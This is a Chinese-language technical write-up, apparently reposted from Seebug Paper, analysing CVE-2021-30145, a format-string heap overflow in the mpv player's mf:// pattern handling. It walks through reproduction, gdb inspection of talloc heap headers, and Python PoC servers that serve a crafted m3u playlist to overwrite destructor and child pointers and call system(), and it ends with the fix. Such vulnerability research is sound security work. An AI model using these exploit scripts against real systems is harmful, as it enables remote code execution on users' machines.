某 mpv 播放器因格式化字符串导致远程代码执行漏洞深入分析(CVE-2021-30145)
2021-10-28 18:04:18 Author: paper.seebug.org(查看原文) 阅读量:29 收藏

作者:天融信阿尔法实验室
原文链接:https://mp.weixin.qq.com/s/2q8kSl6oC7ECXU8OaMwuTw

0x00 背景介绍

mpv项目是开源项目,可以在多个系统包括Windows、Linux、MacOs上运行,是一款流行的视频播放器,mpv软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。

0x01 环境搭建

系统环境为Ubuntu x64位,软件环境可以通过两种方式搭建环境。

1.通过源码编译,源码地址为:https://github.com/mpv-player/mpv/tree/v0.33.0

下载地址为:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip

2.直接安装安装包,安装后没有符号,调试不方便,可以使用以下三条命令来安装软件:

sudo add-apt-repository ppa:mc3man/mpv-tests

sudo apt-get update

sudo apt-get install mpv

参考https://blog.csdn.net/qq_34626094/article/details/113122032

安装完成后运行软件如下所示:

图片

0x02 漏洞复现

源代码:

图片

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是目标缓冲区,参数2是格式化字符串,参数2是可控的,第三个参数是循环次数,mpv程序本身支持文件名中传入一个%,可以使用%d打印这个循环次数,但是由于校验不严格,并没有校验其他的格式化字符串,以及%的个数,所以存在格式化字符串漏洞:

图片

在demux_mf.c文件中127行会检查是否存在%,没有判断有几个%,以及%之后的参数。

程序存在格式化字符串漏洞,使用如下命令运行程序:./mpv -v mf://%p.%p.%p

图片

运行mpv时使用-v参数可以打印出更加详细的信息,此时可以看到打印出了栈上的信息,格式化字符串漏洞造成了信息泄漏。

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是缓冲区,参数2是格式化字符串,这是可控的,现在为了安全都使用snprintf函数,可以限制缓冲区的大小,使用sprintf函数会造成信息泄漏,图中fname是堆中的缓冲区地址:

图片

程序自己实现了一个内存申请函数,包含自定义的块头结构,在函数的124行调用talloc_size来申请内存,申请大小为文件名的大小加32个字节,如果使用格式字符串例如%1000d,会把一个四字节数据扩展到占用1000个字节,这样会导致堆溢出。

图片

上图中,启动mpv时传入参数 mf://%1000d会导致程序崩溃。

0x03 漏洞分析

通过源码编译后可以根据符号对程序下断点,先查看下open_mf_pattern漏洞函数:

使用gdb启动mpv程序:gdb ./mpv

\~~~

gdb-peda$ disassemble open_mf_pattern

Dump of assembler code for function open_mf_pattern:

\~~~

0x00000000001e44af <+559>: call 0x1305a0 < __ [email protected]>

\~~~

可以看到在open_mf_pattern+0x559处调用的是sprintf_chk函数,这是因为使用源码编译时使用了FORTIFY_SOURCE选项,对sprintf函数的调用会自动修改为调用sprintf_chk函数,可以在gdb-peda下输入checksec检查:

gdb-peda$ checksec

CANARY : ENABLED

FORTIFY : ENABLED 可以看到开启了FORTIFY选项

NX : ENABLED

PIE : disabled

gdb-peda$

sprintf_chk函数有一个变量表明缓冲区的大小,但是因为此处缓冲区是通过talloc_size申请堆上的内存,所以没有办法在编译器确定缓冲区的大小,所以此函数使用0xFFFFFFFFFFFFFFFF来表明缓冲区的大小,这样我们就可以使用堆溢出来利用这个漏洞,实际操作中这个漏洞被利用可能性还是比较小的,本次在Ubuntu 20.04.1 LTS系统和关闭ASLR情况下利用此漏洞:

0x04 漏洞利用程序开发

开发利用程序前,需要使用sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"命令关闭系统的ASLR功能。

mpv程序运行时会把格式化字符串块保存在自定义的块中,使用talloc_size来分配内存,还有自定义的堆头结构。

   struct ta_header {
size_t size;               // size of theuser allocation
// Invariant:parent!=NULL => prev==NULL
struct ta_header *prev;     // siblings list(by destructor order)
struct ta_header *next;
// Invariant:parent==NULL || parent->child==this
struct ta_header *child;    // points tofirst child
struct ta_header *parent;   // set for_first_ child only, NULL otherwise
void (*destructor)(void *);
#ifTA_MEMORY_DEBUGGING
unsigned int canary;
struct ta_header *leak_next;
struct ta_header *leak_prev;
const char *name;
#endif
};

可以在ta.c文件中看到此结构的内容以及对应的函数,此结构中包含一个destructor,是析构指针,还有一个值是canary,编译选项TA_MEMORY_DEBUGGING默认是启用的,此值为固定值0xD3ADB3EF,是为了检测程序是否有异常。

当调用ta_free函数时会判断析构函数,如果析构函数不为空,那么会去调用析构函数。

图片

在此函数内部还调用了get_header函数,函数内容为

图片

根据堆块地址ptr往低地址偏移固定字节找到堆头结构地址tag_head*,然后调用ta_dbg_check_header函数

图片

ta_dbg_check_header函数会检查canary值是否为0xD3ADB3EF,如果parent不为空,还会判断前向节点和父节点。

  • 5.1 覆盖destructor指针

漏洞利用思路为调用sprintf函数时堆溢出到下一个堆的头结构,改变堆头结构的析构指针,当调用ta_free函数时,如果析构指针不为空,那么就会调用析构函数。

mpv程序在运行时可以读取m3u文件列表,如使用命令:
./mpv http://localhost:7000/x.m3u

mpv程序会去连接本地的7000端口,并获取x.m3u文件,获取的内容mf://及之后的内容保存在堆中,当mf://及之后的内容占用不同大小的空间时,程序会把文件名称的内容放在堆中不同的位置处,我们需要找到一个合适的大小来满足如下条件:当mpv将文件内容名称存放在堆中时,后面的内存内容包含一个自定义的堆头结构,这样当我们溢出数据时,可以操纵到后面的堆头结构内容。

使用如下的POC测试占用不同的空间可以将文件名称内容放到合适的地址处:

\#!/usr/bin/env python3  
 import socket  

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.bind(('localhost', 7000))

  s.listen(5)

  c, a = s.accept()

  playlist = b'mf://'

   playlist += b'A'*0x40

  playlist += b'%d' # we need a '%' to reach vulnerable path

   d = b'HTTP/1.1 200 OK\r\n'

   d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

代码中使用playlist += b'A'*0x40来占位,0x40是经过测试的数据,笔者可以修改此值来测试占用多少字节可以申请一个合适的位置,运行此脚本文件。然后使用gdb调试mpv程序:gdb ./mpv

使用命令b *open_mf_pattern+559在调用sprintf_chk函数处下断点,使用命令运行 mpv程序:r http://localhost:7000/x.m3u

图片 可以看到第一个参数arg[0]数据为0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移0x50是为了查看堆头结构的数据:

   gdb-peda$ x/100xg 0x7fffec001210-0x50

  0x7fffec0011c0:   0x0000000000000062  0x0000000000000000  [size]  |   [prev]

  0x7fffec0011d0:   0x0000000000000000  0x0000000000000000  [next]  |   [child]

  0x7fffec0011e0:   0x00007fffec0011400 0x0000000000000000  [parent]  | [destructor]

  0x7fffec001200:   0x0000000000000000  0x0000555556676b8f  [leak_prev] | [name]

  0x7fffec001210:   0x0000000000000000  0x0000000000000071 begin actual data

  \~~~

  0x7fffec001450:   0x0000000000000003  0x00007fffec004a80  [size]  |   [prev]

  0x7fffec001460:   0x0000000000000000  0x0000000000000000  [next]  |   [child]

  0x7fffec001470:   0x0000000000000000  0x0000000000000000  [parent]  | [destructor]

  0x7fffec001480:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

  0x7fffec001490:   0x0000000000000000  0x0000555556c288a0  [leak_prev] | [name]

  0x7fffec0014a0:   0x000000006600666d  0x00000000000000f5  begin actual data

堆块的实际数据起始地址为0x7fffec001210,堆头地址为0x7fffec0011C0,紧随其后有一个堆头结构位于0x7fffec001450。

使用如下poc脚本即可覆盖0x7fffec001450堆头结构中的destructor指针

  \#!/usr/bin/env python3

  import socket

  from pwn import *

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.bind(('localhost', 7000))

  s.listen(5)

  c, a = s.accept()

  playlist = b'mf://'

  playlist += b'A'*0x10

  playlist += b'%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22'

  d = b'HTTP/1.1 200 OK\r\n'

  d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

正常情况下%c即可格式化一个char类型的数据,使用%590c是为了似乎用空格字符占用更多的字节,让程序去处理目的地址590个字节后面的数据,%c%c的目的是跳到一个参数,该参数的值为0,%4c%4c%4c%4c将8个字节的0x00写到父指针parent中,绕过ta_dbg_check_header函数中对前向节点和父节点的检查。6个\x22将0x222222222222写入到destruct指针中。

程序会多次运行到sprintf_chk函数处,从源代码中可以看到程序会运行5次,在最后一次运行结束后,查看后续堆的头结构内容如下:

  gdb-peda$ x/20xg 0x7fffec001450

  0x7fffec001450:   0x2020202020202020  0x2020202020202020  [size]  |   [prev]

  0x7fffec001460:   0x2020202020202020  0xdf6e042020202020  [next]  |   [child]

  0x7fffec001470:   0x0000000000000000  0x0000222222222222  [parent]  | [destructor]

  0x7fffec001480:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

当前已经覆盖了destructor指针为0x0000222222222222,输入指令c并回车继续运行:

图片

可以看到出现段错误,RIP为0x222222222222,将要执行到RIP指向的指令,但是内存地址不合法导致程序出现段错误。

  • 5.2 覆盖child指针

目前只修改到了RIP,其他的上下文并不合适,可以换一种利用思路,通过观察源代码可以看到:

在ta.c文件中可以看到调用析构函数后,还调用了ta_free_children释放子节点,在ta_free_children函数中调用ta_free释放子节点,然后在此函数中又判断子节点的destructor指针,如不为0,则调用destructor指向内存的代码。

现在需要换一种漏洞利用思路,即覆盖到堆头结构中的child指针,如果这个child块是我们自己可以构造的一个假块,构造destructor指针为system函数的地址,canary值为固定值0xd3adb3ef,还需构造假块的parent为0,就可以绕过判断,调用system函数时传入的指针为堆块的实际数据的起始地址,所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。

还需要构造这个假块, mpv程序读取m3u文件列表时,会接收http报文,http报文中包含了文件名数据,还可以在http报文中构造一个假块,当关闭ASLR情况下,http报文中假块的堆头结构地址是固定的0x00007fffec001dd8,这个地址在不同的系统版本以及软件下可能会有变化,所以需要读者自己去定位,笔者使用如下方式定位:

1.http报文在内存中的地址与调用sprintf时的目的地址在同一块内存中。

2.程序在调用sprintf断下后,使用vmmap查看进程模块占用了哪些内存页面,查看sprintf函数的第一个参数落到哪个内存块中:

图片

如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump内存到磁盘上。

3.使用二进制文本搜索工具如winhex,搜索gnome-calculator,即可找到假块在文件中的数据,对应到内存中即可找到数据。

图片

图中文件偏移0x1DD8处的数据即为假块堆头结构,0x1E28处数据即为假块实际数据起始处。

4.找到假块堆头在文件中的位置为0x1DD8,那在内存中的位置为0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改对应EXP中子块的指针

图片

5.在gdb-peda插件下输入命令:print system,可以定位到system函数的地址,修改脚本中SYSTEM_ADDR为system函数对应地址。

EXP脚本如下:

\#!/usr/bin/env python3

import socket

from pwn import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('localhost', 7000))

s.listen(5)

c, a = s.accept()

playlist = b'mf://'

playlist += b'A'*0x30

playlist += b'%550c%c%c'

playlist += b'\xd8\x1d%4$c\xec\xff\x7f' # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff760c410

CANARY   = 0xD3ADB3EF

fake_chunk = p64(0) # size

fake_chunk += p64(0) # prev

fake_chunk += p64(0) # next

fake_chunk += p64(0) # child

fake_chunk += p64(0) # parent

fake_chunk += p64(SYSTEM_ADDR) # destructor

fake_chunk += p64(CANARY) # canary

fake_chunk += p64(0) # leak_next

  fake_chunk += p64(0) # leak_prev

  fake_chunk += p64(0) # name

  d = b'HTTP/1.1 200 OK\r\n'

  d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'PL: '

  d += fake_chunk

  d += b'gnome-calculator\x00'

  d += b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

使用gdb启动mpv后,下断点b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u运行程序,多次运行sprintf_chk后查看内存数据:

  gdb-peda$ x/20xg 0x7fffec001450

  0x7fffec001450:   0x2020202020202020  0x2020202020202020  

  0x7fffec001460:   0xdf5e042020202020  0x00007fffec001dd8  [next]  |   [child]

  child指针此时为0x00007fffec001dd8,查看child中的数据:

  gdb-peda$ x/20xg 0x00007fffec001dd8

  0x7fffec001dd8:   0x0000000000000000  0x0000000000000000

  0x7fffec001de8:   0x0000000000000000  0x0000000000000000

  0x7fffec001df8:   0x0000000000000000  0x00007ffff760c410  [parent]  | [destructor]

  0x7fffec001e08:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

地址0x7fffec001e28处对应的是堆实际数据,对应的是字符串数据gnome-calculator,

destructor为system函数的地址,按c回车运行:

图片

可以看到弹出了计算器。

总结一下利用思路:

  1. mpv程序在读取m3u文件列表时会使用http协议从服务端上取出对应的文件名称

  2. 服务端发送http报文时包含了格式化字符串以及一个构造的假块,这个假块包括伪造好的堆头结构以及堆内容

  3. mpv取到对应的文件名称时会调用sprintf_chk时将文件名作为格式化字符串去格式化一个堆空间,由于目标地址是在堆中,所以没有办法在编译器确定堆的大小,传入一个0xFFFFFFFFFFFFFFFF作为堆的大小,相当于没有对堆空间大小做限制,调用此函数会导致堆溢出,溢出到相邻的一个堆块头结构,覆盖child指针。

  4. 这个child指针指向一个假块,假块内容是服务器端使用http协议发过来的数据,假块包括头结构和实际数据,头结构中destructor字段修改system函数的地址,当释放这个child块时,会判断destructor指针是否为空,不为空则调用destructor指向的函数,参数为假块实际数据的地址,假块构造时在实际数据中填充字符串gnome-calculator,所以调用析构函数时效果相当于调用system(“gnome-calculator”)。

注意需要关闭系统的ASLR,这样system函数地址才为固定值,实际中此漏洞利用难度较大,需要绕过ASLR。

0x05 漏洞修复

目前该漏洞已经修复,本身程序运行时是支持文件名中带一个%d的格式化字符串,修复后检查只有一个%,并且是%d,如果是其他的参数则不合法。

图片

对sprintf函数的调用修改为调用snprintf,限制了缓冲区的大小。

图片

图片

0x06 参考链接

mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145):

https://devel0pment.de/?p=2217


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1746/


文章来源: http://paper.seebug.org/1746/
如有侵权请联系:admin#unsafe.sh